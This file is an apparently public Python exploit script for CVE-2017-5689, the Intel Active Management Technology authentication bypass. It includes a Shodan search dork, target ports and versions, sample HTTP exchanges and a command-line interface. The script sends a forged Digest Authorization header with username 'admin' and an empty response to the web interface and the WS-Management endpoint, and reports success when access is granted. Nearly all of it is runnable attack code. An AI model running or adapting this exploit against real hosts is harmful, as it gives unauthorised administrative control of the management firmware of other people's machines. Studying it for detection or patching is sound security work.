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#!/usr/bin/python # -*- coding: utf-8 -*- # Author: Nixawk # CVE-2017-5689 = { # dork="Server: Intel(R) Active Management Technology" port:"16992", # ports=[ # 623, # 664, # 16992, # 16993, # 16994, # 16995 # ] # products=[ # Active Management Technology (AMT), # Intel Standard Manageability (ISM), # Intel Small Business Technology (SBT) # ] # version=[ # 6.x, # 7.x, # 8.x, # 9.x, # 10.x, # 11.0, # 11.5, # 11.6 # ] import functools import requests import logging import uuid logging.basicConfig(level=logging.INFO, format="%(message)s") log = logging.getLogger(__file__) TIMEOUT = 8 def handle_exception(func): functools.wraps(func) def wrapper(*args, **kwds): try: return func(*args, **kwds) except Exception as err: log.error(err) return False return wrapper def intel_vulnerable_product(server): status = False products = [ 'Intel(R) Active Management Technology', 'Intel(R) Standard Manageability', 'Intel(R) Small Business Technology', 'AMT' ] results = map(lambda x: x in server, products) status = True if (True in results) else False return status @handle_exception def exploit_web_interface(host, port): status = False url = "http://{host}:{port}/index.htm".format(host=host, port=port) headers = {"User-Agent": "Mozilla/5.0"} httprsp = requests.get(url, headers=headers, timeout=TIMEOUT) if not intel_vulnerable_product(httprsp.headers['Server']): return status """ GET /index.htm HTTP/1.1 Host: 192.168.1.100:16992 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 HTTP/1.1 401 Unauthorized WWW-Authenticate: Digest realm="Digest:7BA70000000000000000000000000000", nonce="/tsfAAYGAADdx+TCLSlXsW7FN7GY/hf7",stale="false",qop="auth" Content-Type: text/html Server: Intel(R) Active Management Technology 8.1.40 Content-Length: 689 Connection: close """ www_authenticate = httprsp.headers.get('WWW-Authenticate') www_authenticate = www_authenticate.replace( 'stale="false"', 'username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c' ) headers.update({"Authorization": www_authenticate}) httprsp = requests.get(url, headers=headers, timeout=TIMEOUT) if not httprsp: return status if not httprsp.headers: return status if not intel_vulnerable_product(httprsp.headers['Server']): return status if httprsp.status_code == 200: status = True """ GET /index.htm HTTP/1.1 Host: 192.168.1.100:16992 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.13.0 Authorization: Digest realm="Digest:7BA70000000000000000000000000000", nonce="/tsfAAYGAADdx+TCLSlXsW7FN7GY/hf7",username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c,qop="auth" HTTP/1.1 200 OK Date: Sat, 6 May 2017 03:24:33 GMT Server: Intel(R) Active Management Technology 8.1.40 Content-Type: text/html Transfer-Encoding: chunked Cache-Control: no cache Expires: Thu, 26 Oct 1995 00:00:00 GMT 04A9 """ return status @handle_exception def exploit_wsman(host, port): status = False url = "http://{host}:{port}/wsman".format(host=host, port=port) soap = ( '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tns="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_SoftwareIdentity" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wscat="http://schemas.xmlsoap.org/ws/2005/06/wsmancat" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:wse="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration">' '<soap:Header>' '<wsa:To>{url}</wsa:To>' '<wsa:ReplyTo>' '<wsa:Address soap:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:Address>' '</wsa:ReplyTo>' '<wsa:Action soap:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/09/transfer/Get</wsa:Action>' '<wsman:MaxEnvelopeSize soap:mustUnderstand="true">51200</wsman:MaxEnvelopeSize>' '<wsa:MessageID>uuid:{uuid}</wsa:MessageID>' '<wsman:ResourceURI soap:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_SoftwareIdentity</wsman:ResourceURI>' '<wsman:SelectorSet>' '<wsman:Selector Name="InstanceID">AMT FW Core Version</wsman:Selector>' '</wsman:SelectorSet>' '<wsman:OperationTimeout>PT60.000S</wsman:OperationTimeout>' '</soap:Header>' '<soap:Body />' '</soap:Envelope>' ).format(url=url, uuid=str(uuid.uuid4())) headers = {"User-Agent": "Mozilla/5.0", "Content-Type": "application/soap+xml; charset=UTF-8"} httprsp = requests.post(url, data=soap, headers=headers, timeout=TIMEOUT) if not intel_vulnerable_product(httprsp.headers['Server']): return status www_authenticate = httprsp.headers.get('WWW-Authenticate') www_authenticate = www_authenticate.replace( 'stale="false"', 'username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c' ) headers.update({"Authorization": www_authenticate}) httprsp = requests.post(url, data=soap, headers=headers, timeout=TIMEOUT) if not httprsp: return status if not httprsp.headers: return status if not intel_vulnerable_product(httprsp.headers['Server']): return status if httprsp.status_code == 200: status = True return status if __name__ == "__main__": import sys if len(sys.argv) != 3: log.info("[+] Usage: python {} <host> <port>".format(sys.argv[0])) sys.exit(1) host, port = sys.argv[1], sys.argv[2] if exploit_web_interface(host, port) or exploit_wsman(host, port): log.info("[success] CVE-2017-5689 - {host}:{port}".format(host=host, port=port)) else: log.info("[failed]CVE-2017-5689 - {host}:{port}".format(host=host, port=port)) ## References # http://thehackernews.com/2017/05/intel-amt-vulnerability.html # https://www.ssh.com/vulnerability/intel-amt/ # https://www.shodan.io/report/mnAozbpC # https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf # https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability |
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